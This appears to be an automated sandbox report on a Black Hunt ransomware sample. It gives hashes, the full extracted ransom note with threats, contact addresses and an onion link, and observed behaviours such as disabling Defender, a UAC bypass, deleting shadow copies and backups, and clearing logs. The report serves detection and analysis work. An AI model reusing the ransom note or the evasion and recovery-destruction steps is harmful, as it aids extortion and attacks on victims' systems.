a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:26

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General

Target

a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Size

707KB
MD5

4fcf56093328528f1bdf20da3d161a87
SHA1

43223c653e0dbdf5ee4ab0e435ecc17c5aec2729
SHA256

a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf
SHA512

d4d1f328ffc4187d5f527173c7e3401954b69a7e1d051ffdc7de69096f1bed5d39482c796a5acdbd8b417d52e10c4a56809f3bc4f7415c5797884816085665f3
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1/8fvnh:6uaTmkZJ+naie5OTamgEoKxLWW3h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> PDGLA9njYm4E1tJR </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1048	fsutil.exe
3508	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3532	wevtutil.exe
3548	wevtutil.exe
3512	wevtutil.exe
1436	wevtutil.exe
2276	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3152	bcdedit.exe
376	bcdedit.exe
1336	bcdedit.exe
1000	bcdedit.exe

Renames multiple (2921) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2828	wbadmin.exe
5064	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
5092	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\I:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\A:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\G:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\U:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\N:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\E:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\K:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\X:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\Z:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\V:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\B:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\J:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\H:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\Q:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\T:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\O:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\R:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\S:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\L:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\M:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened (read-only)	\??\Y:	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-progress-ui.xml	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Caracas	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jre7\lib\fonts\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-uisupport.xml	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Irkutsk	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tehran	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Melbourne	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_fr.properties	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dushanbe	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+1	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
